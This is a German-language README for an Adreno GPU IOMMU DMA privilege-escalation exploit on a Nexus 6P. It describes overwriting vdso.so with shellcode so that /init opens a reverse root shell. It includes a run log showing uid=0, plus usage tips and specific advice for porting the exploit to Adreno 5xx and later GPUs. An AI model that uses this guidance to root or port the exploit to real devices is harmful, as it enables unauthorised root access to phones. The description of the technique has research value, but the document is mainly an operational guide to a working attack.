ADRENO GPU IOMMU DMA EXPLOIT

Getestet unter Nexus 6p (google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys)

Über den Fehler

Besprochen im Jahr 2016 auf der Blackhat EU

Über den Exploit

Durch iommu-dma-Schreibvorgänge wird die vdso.so mit Shellcode überschrieben.

Nachdem /init __kernel_clock_gettime ausgeführt hat, wird der Shellcode ausgeführt.

Der /init-Prozess stellt dann eine Reverse-Connection mit einer Root-Shell her.

Logs

Reverse shell target: 127.0.0.1:4919
shellcode patch done
hook patch done
Waiting for reverse connect shell...
TERMINAL>>>
id
uid=0(root) gid=0(root) groups=0(root) context=u:r:init:s0

Tipps

Lösche vor dem Exploit ggf. /data/local/tmp/x.

Wenn die Wartezeit zu lang ist, versuche die "Datums- und Uhrzeiteinstellungen" in den Einstellungen deines Telefons zu öffnen.

Portierung auf andere Geräte

Überprüfe die Version des Adreno, aktuell ist es für 4xx gebaut.

Für 5xx und höher:

• verwende cp_type7_packet anstelle von cp_type3_packet
• verwende IOCTL_KGSL_GPU_COMMAND anstelle von IOCTL_KGSL_RINGBUFFER_ISSUEIBCMDS